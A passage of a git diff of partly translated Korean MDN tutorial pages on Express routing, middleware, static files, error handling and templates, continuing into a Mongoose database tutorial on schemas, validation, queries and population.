In our Hello World Express example see above we defined a (callback) route handler function for HTTP GET requests to the site root ('/').

+ +
app.get('/', function (req, res) {
+  res.send('Hello World!');
+});
+
+ +

The callback function takes a request and a response object as arguments. In this case the method simply calls send() on the response to return the string "Hello World!" There are a number of other response methods for ending the request/response cycle, for example you could call res.json() to send a JSON response or res.sendFile() to send a file.

+ +
+

JavaScript tip: You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.

+
+ +

The Express application object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), ​​​​​​ mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), and connect().

+ +

There is a special routing method, app.all(), which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to /secret irrespective of the HTTP verb used (provided it is supported by the http module).

+ +
app.all('/secret', function (req, res, next) {
+  console.log('Accessing the secret section ...')
+  next() // pass control to the next handler
+})
+ +

Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).

+ +

Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of /wiki/). In Express this is achieved by using the express.Router object. For example, we can create our wiki route in a module named wiki.js, and then export the Router object, as shown below:

+ +
// wiki.js - Wiki route module
+
+var express = require('express')
+var router = express.Router()
+
+// Home page route
+router.get('/', function (req, res) {
+  res.send('Wiki home page')
+})
+
+// About page route
+router.get('/about', function (req, res) {
+  res.send('About this wiki')
+})
+
+module.exports = router
+
+ +
+

Note: Adding routes to the Router object is just like adding routes to the app object (as shown previously).

+
+ +

To use the router in our main app file we would then require() the route module (wiki.js), then call use() on the Express application to add the Router to the middleware handling path. The two routes will then be accessible from /wiki/ and /wiki/about/.

+ +
var wiki = require('./wiki.js')
+// ...
+app.use('/wiki', wiki)
+ +

We'll show you a lot more about working with routes, and in particular about using the Router, later on in the linked section Routes and controllers .

+ +

미들웨어의 사용

+ +

미들웨어는 정적 파일 제공에서 오류 처리, HTTP 응답 압축에 이르기까지 Express 앱에서 광범위하게 사용됩니다. 라우트 함수는 HTTP 클라이언트에 일부 응답을 반환하여 HTTP 요청-응답주기를 종료하는 반면, 미들웨어 함수는 일반적으로 요청 또는 응답에 대해 일부 작업을 수행 한 다음 "스택"(이는 미들웨어 혹은 라우트 핸들러일 수 있습니다.)에서 다음 함수를 호출합니다.  미들웨어가 호출되는 순서는 앱 개발자에게 달려있습니다.

+ +
+

Note: 미들웨어는 모든 작업을 수행하고, 코드를 실행하고, 요청 및 응답 객체를 변경할 수 있으며, 요청-응답주기를 종료 할 수도 있습니다. 만약 주기가 종료되지 않으면, 다음 미들웨어 함수의 제어를 위해 next()를 호출해야합니다.( 혹은 요청이 중단된 상태로 유지될 것입니다.)

+
+ +

대부분의 앱은 쿠키, 세션, 사용자 인증, POST요청 및 JSON 데이터 접근 , logging 등과 같은 일반적인 웹 개발 작업을 단순화하기 위해서드파티 미들웨어를 사용합니다 . Express 팀에서 관리하는 미들웨어 패키지 목록을 이 곳에서 찾을 수 있습니다 ( 다른 인기있는 서드파티 패키지도 포함). 다른 Express 패키지는 NPM 패키지 관리자에서 사용할 수 있습니다.

+ +

서드파티 미들웨어를 사용하려면 먼저 NPM을 사용하여 앱에 설치해야합니다. 예를 들어 morgan HTTP 요청 logger 미들웨어 를 설치하려면 다음과 같이 진행합니다.

+ +
$ npm install morgan
+
+ +

그런 다음 Express application object에 use()를 호출해서 스택에 이 미들웨어를 추가합니다.

+ +
var express = require('express');
+var logger = require('morgan');
+var app = express();
+app.use(logger('dev'));
+...
+ +
+

Note: 미들웨어 및 라우팅 함수는 선언된 순서대로 호출됩니다. 일부 미들웨어의 경우 순서가 중요합니다 (예를 들어 세션 미들웨어가 쿠키 미들웨어에 의존하는 경우, 쿠키 핸들러를 먼저 추가해야합니다). 거의 항상 라우트를 설정하기 전에 미들웨어가 호출되거나,  미들웨어로 인해 추가된 기능에 라우트 핸들러가  접근할 수 없습니다.

+
+ +

당신은 자신만의 미들웨어 함수를 작성할 수 있으며, 그렇게 해야 할 가능성이 높습니다 (에러 처리 코드를 생성하는 경우에만 해당). 미들웨어 함수와 라우트 핸들러 콜백 의 유일한 차이점은 미들웨어 함수에 세 번째 인자로 미들웨어 함수가 요청 주기를 완료하지 않을 때 호출되는 next가 있다는 것입니다. (미들웨어 함수가 호출 될 때 여기에는 반드시 호출되는 next 함수가 포함됩니다.).

+ +

당신이 모든 응답 혹은  특정 HTTP 동사(GETPOST 등)에 미들웨어를 적용할지 여부에 따라app.use()또는 app.add()와 함께 프로세싱 체인에 미들웨어 기능을 추가 할 수 있습니다. 두 경우 모두 라우트를 동일하게 지정하지만 app.use () 호출시 라우트는 선택 사항 입니다.

+ +

아래의  예제는 두 가지 방법을 사용하고, 경로를 사용하거나 사용하지 않고 미들웨어 기능을 추가하는 방법을 보여줍니다.

+ +
var express = require('express')
+var app = express()
+
+// An example middleware function
+var a_middleware_function = function(req, res, next) {
+  //... perform some operations
+  next(); //Call next() so Express will call the next middleware function in the chain.
+}
+
+// Function added with use() for all routes and verbs
+app.use(a_middleware_function)
+
+//Function added with use() for a specific route
+app.use('/someroute', a_middleware_function)
+
+// A middleware function added for a specific HTTP verb and route
+app.get('/', a_middleware_function )
+
+app.listen(3000)
+ +
+

JavaScript Tip: 위에서 우리는 미들웨어 함수를 별도로 선언 한 다음 그것을 콜백으로 설정합니다. 이전 라우트 핸들러 함수에서는 우리는 콜백 함수가 사용될 때 선언했습니다. JavaScript에서는 두 방법 모두 유효합니다.

+
+ +

Express 공식 문서에는 Express 미들웨어 사용 및 작성 에 대한 훨씬 더 우수한 자료들이 있습니다.

+ +

저장된 파일을 서버화하기

+ +

You can use the express.static middleware to serve static files, including your images, CSS and JavaScript (static() is the only middleware function that is actually part of Express). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named 'public' at the same level as where you call node:

+ +
app.use(express.static('public'))
+
+ +

Any files in the public directory are served by adding their filename (relative to the base "public" directory) to the base URL. So for example:

+ +
http://localhost:3000/images/dog.jpg
+http://localhost:3000/css/style.css
+http://localhost:3000/js/app.js
+http://localhost:3000/about.html
+
+ +

You can call static() multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).

+ +
app.use(express.static('public'))
+app.use(express.static('media'))
+
+ +

You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we specify a mount path so that the files are loaded with the prefix "/media":

+ +
app.use('/media', express.static('public'))
+
+ +

Now, you can load the files that are in the public directory from the /media path prefix.

+ +
http://localhost:3000/media/images/dog.jpg
+http://localhost:3000/media/video/cat.mp4
+http://localhost:3000/media/cry.mp3
+
+ +

For more information, see Serving static files in Express.

+ +

핸들링 에러

+ +

Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: (err, req, res, next). For example:

+ +
app.use(function (err, req, res, next) {
+  console.error(err.stack)
+  res.status(500).send('Something broke!')
+})
+
+ +

These can return any content required, but must be called after all other app.use() and routes calls so that they are the last middleware in the request handling process!

+ +

Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to next() and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.

+ +
+

Note: The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable NODE_ENV to 'production'.

+
+ +
+

Note: HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the FAQ.

+
+ +

For more information see Error handling (Express docs).

+ +

데이터베이스의 사용

+ +

Express apps can use any database mechanism supported by Node (Express itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.

+ +

In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:

+ +
$ npm install mongodb
+
+ +

The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.

+ +
var MongoClient = require('mongodb').MongoClient
+
+MongoClient.connect('mongodb://localhost:27017/animals', function (err, db) {
+  if (err) throw err
+
+  db.collection('mammals').find().toArray(function (err, result) {
+    if (err) throw err
+
+    console.log(result)
+  })
+})
+ +

Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.

+ +

For more information see Database integration (Express docs).

+ +

데이터 랜더링(시각화)

+ +

Template engines (referred to as "view engines" by Express) allow you to specify the structure of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of document. Express has support for a number of template engines, and there is a useful comparison of the more popular engines here: Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More.

+ +

In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)

+ +
var express = require('express');
+var app = express();
+
+// Set directory to contain the templates ('views')
+app.set('views', path.join(__dirname, 'views'));
+
+// Set view engine to use, in this case 'some_template_engine_name'
+app.set('view engine', 'some_template_engine_name');
+
+ +

The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.<template_extension>" that contains placeholders for data variables named 'title' and "message", you would call Response.render() in a route handler function to create and send the HTML response:

+ +
app.get('/', function (req, res) {
+  res.render('index', { title: 'About dogs', message: 'Dogs rock!' })
+})
+ +

For more information see Using template engines with Express (Express docs).

+ +

파일구조

+ +

Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole Express application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an MVC architecture).

+ +

In a later topic we'll use the Express Application Generator, which creates a modular app skeleton that we can easily extend for creating web applications.

+ + + +

요약

+ +

Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!

+ +

Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.

+ +

더보기

+ + + +
{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
diff --git a/files/ko/learn/server-side/express_nodejs/mongoose/index.html b/files/ko/learn/server-side/express_nodejs/mongoose/index.html new file mode 100644 index 0000000000..07c0f1e422 --- /dev/null +++ b/files/ko/learn/server-side/express_nodejs/mongoose/index.html @@ -0,0 +1,792 @@ +--- +title: 'Express Tutorial Part 3: Using a Database (with Mongoose)' +slug: Learn/Server-side/Express_Nodejs/mongoose +translation_of: Learn/Server-side/Express_Nodejs/mongoose +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}
+ +

이번에는 데이터베이스를 간단히 소개하고, Node/Express 어플리케이션으로 데이터베이스를 어떻게 다루는 지 알아보겠습니다. 그리고 LocalLibrary 웹사이트를 위한 데이터베이스 접근을 제공하는 Mongoose를 어떻게 사용할 수 있는지 보여줄 것입니다. 오브젝트 스키마와 모델을 선언하는 방법, 주요 필드 타입, 기본 유효성 검사를 설명합니다. 또한 당신이 모델 데이터에 접근할 수 있는 주요한 몇가지 방법들을 소개할 것입니다.

+ + + + + + + + + + + + +
Prerequisites:Express Tutorial Part 2: Creating a skeleton website
Objective:To be able to design and create your own models using Mongoose.
+ +

개요

+ +

도서관 직원들은 책과 대여자의 정보를 저장하기 위해 Local Library 웹사이트를 사용할 것입니다. 그리고 도서관 회원들은 책을 빌리고, 검색하며, 어떤 책이 이용한지 알아내고, 책 대여를 예약하거나 책을 빌릴 것입니다. 정보를 효과적으로 저장하고 가져오기 위해서, 우리는 그 정보를 데이터베이스에 저장할 것입니다.

+ +

Express 앱은 다양한 데이터베이스를 사용할 수 있고, 당신에게 CRUD(Create, Read, Update and Delete)를 수행할 수 있는 여러 방법을 제공합니다. 이번 튜토리얼은 이용가능한 몇가지 선택지에 대한 간략한 개요를 제공하며, 더 나아가 우리가 선택한 몇가지 메커니즘에 대해선 자세히 알아볼 것입니다.

+ +

사용할 수 있는 데이터베이스는 무엇이 있나요?

+ +

Express 앱은 노드에서 지원하는 어떤 데이터베이스라도 사용가능합니다. (Express 자체는 데이터베이스 관리에 대한 특정한 추가 동작/요구사항을 정의하지 않습니다.) PostgreSQL, MySQL, Redis, SQLite, and MongoDB를 포함한 많은 인기있는 데이터베이스 옵션을 선택가능합니다.

+ +

데이터베이스를 고를때, 당신은 생산성/러닝커브, 성능, 쉬운 리플리케이션/백업, 비용, 커뮤니티 지원 등을 고려해야 합니다. 하나의 "최고"  데이터베이스를 정하지 못하는 동안, 우리의 Local Library 같이 작은 규모에서 중간규모의 사이트에 적합한 거의 모든 어떤 솔루션이라도 사용 가능해야 합니다.

+ +

옵션에 대한 더 많은 정보는 여기를 보십시오: 데이터베이스 인테그레이션 (Express 문서)

+ +

데이터베이스와 상호작용하는 최소의 방법은 무엇인가요?

+ +

데이터베이스와 상호작용하는 두가지 접근법이 있습니다: 

+ + + +

최상의 퍼포먼스는 SQL이나 데이터베이스에서 지원하는 쿼리 언어를 사용할때 얻을 수 있습니다. ODM은 오브젝트와 데이터베이스 포맷을 매핑하는 변환코드를 사용하기 때문에 종종 느리며, 가장 효율적인 데이터베이스 쿼리를 사용하지 않을 수 있습니다.

+ +

ORM을 사용하는 이점은 프로그래머가 데이터베이스의 의미보다 JavaScript 객체로 계속해서 생각할 수 있다는 것입니다.  - 이는 다른 데이터베이스(같거나 다른 웹사이트 어느 쪽에서든)들에서 작업해야 하는 경우 특히 그렇습니다. 또한 데이터의 유효성 및 확인을 확실히 할 수 있습니다.

+ +
+

팁:  ODM/ORM을 사용하면 개발 및 유지 보수 비용이 절감됩니다. 네이티브 쿼리 언어에 친숙하거나 퍼포먼스가 중요한 것이 아니라면, ODM 사용을 적극 고려해야 합니다.

+
+ +

NPM 패키지 매니저 사이트에는 사용가능한 많은 ODM/ORM 솔루션이 있습니다.(odm 과 orm 태그 집합을 확인하십시오.)

+ +

이 글 작성 시점에 인기있었던 솔루션은 다음과 같습니다:

+ + + +

일반적으로 솔루션을 선택할 때, 당신은 제공되는 기능과 "커뮤니티 활동" (다운로드, 공헌도, 버그 리포트, 문서 퀄리티 등) 모두를 고려해야 합니다. 이에 대한 글을 작성하고 있는 시점에, 몽구스는 가장 유명한 ORM이며, 당신이 MongoDB를 사용한다면 몽구스는 합리적인 선택입니다.

+ +

Using Mongoose and MongoDb for the LocalLibrary

+ +

For the Local Library example (and the rest of this topic) we're going to use the Mongoose ODM to access our library data. Mongoose acts as a front end to MongoDB, an open source NoSQL database that uses a document-oriented data model. A “collection” of “documents”, in a MongoDB database, is analogous to a “table” of “rows” in a relational database.

+ +

This ODM and database combination is extremely popular in the Node community, partially because the document storage and query system looks very much like JSON, and is hence familiar to JavaScript developers.

+ +
+

Tip: You don't need to know MongoDB in order to use Mongoose, although parts of the Mongoose documentation are easier to use and understand if you are already familiar with MongoDB.

+
+ +

The rest of this tutorial shows how to define and access the Mongoose schema and models for the LocalLibrary website example.

+ +

Designing the LocalLibrary models

+ +

Before you jump in and start coding the models, it's worth taking a few minutes to think about what data we need to store and the relationships between the different objects.

+ +

We know that we need to store information about books (title, summary, author, genre, ISBN) and that we might have multiple copies available (with globally unique ids, availability statuses, etc.). We might need to store more information about the author than just their name, and there might be multiple authors with the same or similar names. We want to be able to sort information based on book title, author, genre, and category.

+ +

When designing your models it makes sense to have separate models for every "object" (group of related information). In this case the obvious objects are books, book instances, and authors.

+ +

You might also want to use models to represent selection-list options (e.g. like a drop down list of choices), rather than hard coding the choices into the website itself — this is recommended when all the options aren't known up front or may change. The obvious candidate for a model of this type is the book genre (e.g. Science Fiction, French Poetry, etc.)

+ +

Once we've decided on our models and fields, we need to think about the relationships between them.

+ +

With that in mind, the UML association diagram below shows the models we'll define in this case (as boxes). As discussed above, we've created models for book (the generic details of the book), book instance (status of specific physical copies of the book available in the system), and author. We have also decided to have a model for genre, so that values can be created dynamically. We've decided not to have a model for the BookInstance:status — we will hard code the acceptable values because we don't expect these to change. Within each of the boxes you can see the model name, the field names and types, and also the methods and their return types.

+ +

The diagram also shows the relationships between the models, including their multiplicities. The multiplicities are the numbers on the diagram showing the numbers (maximum and minimum) of each model that may be present in the relationship. For example, the connecting line between the boxes shows that Book and a Genre are related. The numbers close to the Book model show that a book must have zero or more Genre (as many as you like), while the numbers on the other end of the line next to the Genre show that it can have zero or more associated books.

+ +
+

Note: As discussed in our Mongoose primer below it is often better to have the field that defines the relationship between the documents/models in just one model (you can still find the reverse relationship by searching for the associated _id in the other model). Below we have chosen to define the relationship between Book/Genre and Book/Author in the Book schema, and the relationship between the Book/BookInstance in the BookInstance Schema. This choice was somewhat arbitrary — we could equally well have had the field in the other schema.

+
+ +

Mongoose Library Model  with correct cardinality

+ +
+

Note: The next section provides a basic primer explaining how models are defined and used. As you read it, consider how we will construct each of the models in the diagram above.

+
+ +

Mongoose primer

+ +

This section provides an overview of how to connect Mongoose to a MongoDB database, how to define a schema and a model, and how to make basic queries. 

+ +
+

Note: This primer is "heavily influenced" by the Mongoose quick start on npm and the official documentation.

+
+ +

Installing Mongoose and MongoDB

+ +

Mongoose is installed in your project (package.json) like any other dependency — using NPM. To install it, use the following command inside your project folder:

+ +
npm install mongoose
+
+ +

Installing Mongoose adds all its dependencies, including the MongoDB database driver, but it does not install MongoDB itself. If you want to install a MongoDB server then you can download installers from here for various operating systems and install it locally. You can also use cloud-based MongoDB instances.

+ +
+

Note: For this tutorial we'll be using the mLab cloud-based database as a service sandbox tier to provide the database. This is suitable for development, and makes sense for the tutorial because it makes "installation" operating system independent (database-as-a-service is also one approach you might well use for your production database).

+
+ +

Connecting to MongoDB

+ +

Mongoose requires a connection to a MongoDB database. You can require() and connect to a locally hosted database with mongoose.connect(), as shown below.

+ +
//Import the mongoose module
+var mongoose = require('mongoose');
+
+//Set up default mongoose connection
+var mongoDB = 'mongodb://127.0.0.1/my_database';
+mongoose.connect(mongoDB);
+// Get Mongoose to use the global promise library
+mongoose.Promise = global.Promise;
+//Get the default connection
+var db = mongoose.connection;
+
+//Bind connection to error event (to get notification of connection errors)
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));
+ +

You can get the default Connection object with mongoose.connection. Once connected, the open event is fired on the Connection instance.

+ +
+

Tip: If you need to create additional connections you can use mongoose.createConnection(). This takes the same form of database URI (with host, database, port, options etc.) as connect() and returns a Connection object).

+
+ +

Defining and creating models

+ +

Models are defined using the Schema interface. The Schema allows you to define the fields stored in each document along with their validation requirements and default values. In addition, you can define static and instance helper methods to make it easier to work with your data types, and also virtual properties that you can use like any other field, but which aren't actually stored in the database (we'll discuss a bit further below).

+ +

Schemas are then "compiled" into models using the mongoose.model() method. Once you have a model you can use it to find, create, update, and delete objects of the given type.

+ +
+

Note: Each model maps to a collection of documents in the MongoDB database. The documents will contain the fields/schema types defined in the model Schema.

+
+ +

Defining schemas

+ +

The code fragment below shows how you might define a simple schema. First you require() mongoose, then use the Schema constructor to create a new schema instance, defining the various fields inside it in the constructor's object parameter.

+ +
//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+
+ +

In the case above we just have two fields, a string and a date. In the next sections we will show some of the other field types, validation, and other methods.

+ +

Creating a model

+ +

Models are created from schemas using the mongoose.model() method:

+ +
// Define schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+
+// Compile model from schema
+var SomeModel = mongoose.model('SomeModel', SomeModelSchema );
+ +

The first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model SomeModel above), and the second argument is the schema you want to use in creating the model.

+ +
+

Note: Once you've defined your model classes you can use them to create, update, or delete records, and to run queries to get all records or particular subsets of records. We'll show you how to do this in the Using models section, and when we create our views.

+
+ +

스키마 타입 (필드)

+ +

한 스키마는 임의의 숫자의 필드들을 가질 수 있습니다.(각각의 필드는 MongoDB에 저장된 문서의 필드를 대표합니다.) 아래의 예제 스키마는 일반적인 필드 타입들을 보여주고 있으며 그들이 어떻게 선언되는지 나타냅니다.

+ +
var schema = new Schema(
+{
+  name: String,
+  binary: Buffer,
+  living: Boolean,
+  updated: { type: Date, default: Date.now },
+  age: { type: Number, min: 18, max: 65, required: true },
+  mixed: Schema.Types.Mixed,
+  _someId: Schema.Types.ObjectId,
+  array: [],
+  ofString: [String], // You can also have an array of each of the other types too.
+  nested: { stuff: { type: String, lowercase: true, trim: true } }
+})
+ +

Most of the SchemaTypes (the descriptors after “type:” or after field names) are self explanatory. The exceptions are:

+ + + +

The code also shows both ways of declaring a field:

+ + + +

For more information about options see SchemaTypes (Mongoose docs).

+ +

Validation

+ +

Mongoose provides built-in and custom validators, and synchronous and asynchronous validators. It allows you to specify both the acceptable range or values and the error message for validation failure in all cases.

+ +

The built-in validators include:

+ + + +

The example below (slightly modified from the Mongoose documents) shows how you can specify some of the validator types and error messages:

+ +

+    var breakfastSchema = new Schema({
+      eggs: {
+        type: Number,
+        min: [6, 'Too few eggs'],
+        max: 12
+        required: [true, 'Why no eggs?']
+      },
+      drink: {
+        type: String,
+        enum: ['Coffee', 'Tea', 'Water',]
+      }
+    });
+
+ +

For complete information on field validation see Validation (Mongoose docs).

+ +

Virtual properties

+ +

Virtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.

+ +
+

Note: We will use a virtual property in the library to define a unique URL for each model record using a path and the record's _id value.

+
+ +

For more information see Virtuals (Mongoose documentation).

+ +

Methods and query helpers

+ +

A schema can also have instance methods, static methods, and query helpers. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's chainable query builder API (for example, allowing you to add a query "byName" in addition to the find(), findOne() and findById() methods).

+ +

Using models

+ +

Once you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.

+ +

We provide a brief overview below. For more information see: Models (Mongoose docs).

+ +

Creating and modifying documents

+ +

To create a record you can define an instance of the model and then call save(). The examples below assume SomeModel is a model (with a single field "name") that we have created from our schema.

+ +
// Create an instance of model SomeModel
+var awesome_instance = new SomeModel({ name: 'awesome' });
+
+// Save the new model instance, passing a callback
+awesome_instance.save(function (err) {
+  if (err) return handleError(err);
+  // saved!
+});
+
+ +

Creation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.

+ +

You can also use create() to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.

+ +
SomeModel.create({ name: 'also_awesome' }, function (err, awesome_instance) {
+  if (err) return handleError(err);
+  // saved!
+});
+ +

Every model has an associated connection (this will be the default connection when you use mongoose.model()). You create a new connection and call .model() on it to create the documents on a different database.

+ +

You can access the fields in this new record using the dot syntax, and change the values. You have to call save() or update() to store modified values back to the database.

+ +
// Access model field values using dot notation
+console.log(awesome_instance.name); //should log 'also_awesome'
+
+// Change record by modifying the fields, then calling save().
+awesome_instance.name="New cool name";
+awesome_instance.save(function (err) {
+   if (err) return handleError(err); // saved!
+   });
+
+ +

Searching for records

+ +

You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete name and age. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.

+ +
var Athlete = mongoose.model('Athlete', yourSchema);
+
+// find all athletes who play tennis, selecting the 'name' and 'age' fields
+Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
+  if (err) return handleError(err);
+  // 'athletes' contains the list of athletes that match the criteria.
+})
+ +

If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.

+ +
+

Note: All callbacks in Mongoose use the pattern callback(error, result). If an error occurs executing the query, the error parameter will contain an error document, and result will be null. If the query is successful, the error parameter will be null, and the result will be populated with the results of the query.

+
+ +

If you don't specify a callback then the API will return a variable of type Query. You can use this query object to build up your query and then execute it (with a callback) later using the exec() method.

+ +
// find all athletes that play tennis
+var query = Athlete.find({ 'sport': 'Tennis' });
+
+// selecting the 'name' and 'age' fields
+query.select('name age');
+
+// limit our results to 5 items
+query.limit(5);
+
+// sort by age
+query.sort({ age: -1 });
+
+// execute the query at a later time
+query.exec(function (err, athletes) {
+  if (err) return handleError(err);
+  // athletes contains an ordered list of 5 athletes who play Tennis
+})
+ +

Above we've defined the query conditions in the find() method. We can also do this using a where() function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.

+ +
Athlete.
+  find().
+  where('sport').equals('Tennis').
+  where('age').gt(17).lt(50).  //Additional where query
+  limit(5).
+  sort({ age: -1 }).
+  select('name age').
+  exec(callback); // where callback is the name of our callback function.
+ +

The find() method gets all matching records, but often you just want to get one match. The following methods query for a single record:

+ + + +
+

Note: There is also a count() method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.

+
+ +

There is a lot more you can do with queries. For more information see: Queries (Mongoose docs).

+ + + +

You can create references from one document/model instance to another using the ObjectId schema field, or from one document to many using an array of ObjectIds. The field stores the id of the related model. If you need the actual content of the associated document, you can use the populate() method in a query to replace the id with the actual data.

+ +

For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of ObjectId. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.

+ +
var mongoose = require('mongoose')
+  , Schema = mongoose.Schema
+
+var authorSchema = Schema({
+  name    : String,
+  stories : [{ type: Schema.Types.ObjectId, ref: 'Story' }]
+});
+
+var storySchema = Schema({
+  author : { type: Schema.Types.ObjectId, ref: 'Author' },
+  title    : String
+});
+
+var Story  = mongoose.model('Story', storySchema);
+var Author = mongoose.model('Author', authorSchema);
+ +

We can save our references to the related document by assigning the _id value. Below we create an author, then a book, and assign the author id to our stories author field.

+ +
var bob = new Author({ name: 'Bob Smith' });
+
+bob.save(function (err) {
+  if (err) return handleError(err);
+
+  //Bob now exists, so lets create a story
+  var story = new Story({
+    title: "Bob goes sledding",
+    author: bob._id    // assign the _id from the our author Bob. This ID is created by default!
+  });
+
+  story.save(function (err) {
+    if (err) return handleError(err);
+    // Bob now has his story
+  });
+});
+ +

Our story document now has an author referenced by the author document's ID. In order to get the author information in our story results we use populate(), as shown below.

+ +
Story
+.findOne({ title: 'Bob goes sledding' })
+.populate('author') //This populates the author id with actual author information!
+.exec(function (err, story) {
+  if (err) return handleError(err);
+  console.log('The author is %s', story.author.name);
+  // prints "The author is Bob Smith"
+});
+ +
+

Note: Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's stories array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.

+ +

A better way is to get the _id of our author, then use find() to search for this in the author field across all stories.

+ +
Story
+.find({ author : bob._id })
+.exec(function (err, stories) {
+  if (err) return handleError(err);
+  // returns all stories that have Bob's id as their author.
+});
+
+
+ +

This is almost everything you need to know about working with related items for this tutorial. For more detailed information see Population (Mongoose docs).

+ +

One schema/model per file

+ +

While you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:

+ +
// File: ./models/somemodel.js
+
+//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string          : String,
+    a_date            : Date,
+});
+
+//Export function to create "SomeModel" model class
+module.exports = mongoose.model('SomeModel', SomeModelSchema );
+ +

You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.

+ +
//Create a SomeModel model just by requiring the module
+var SomeModel = require('../models/somemodel')
+
+// Use the SomeModel object (model) to find all SomeModel records
+SomeModel.find(callback_function);
+ +

Setting up the MongoDB database

+ +

Now that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the LocalLibrary website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.

+ +

For this tutorial we're going to use mLab's free cloud-hosted "sandbox" database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because mLab is a popular database as a service vendor that you might reasonably choose for your production database (other popular choices at the time of writing include Compose, ScaleGrid and MongoDB Atlas).

+ +
+

Note: If you prefer you can set up a MongoDb database locally by downloading and installing the appropriate binaries for your system. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.

+
+ +

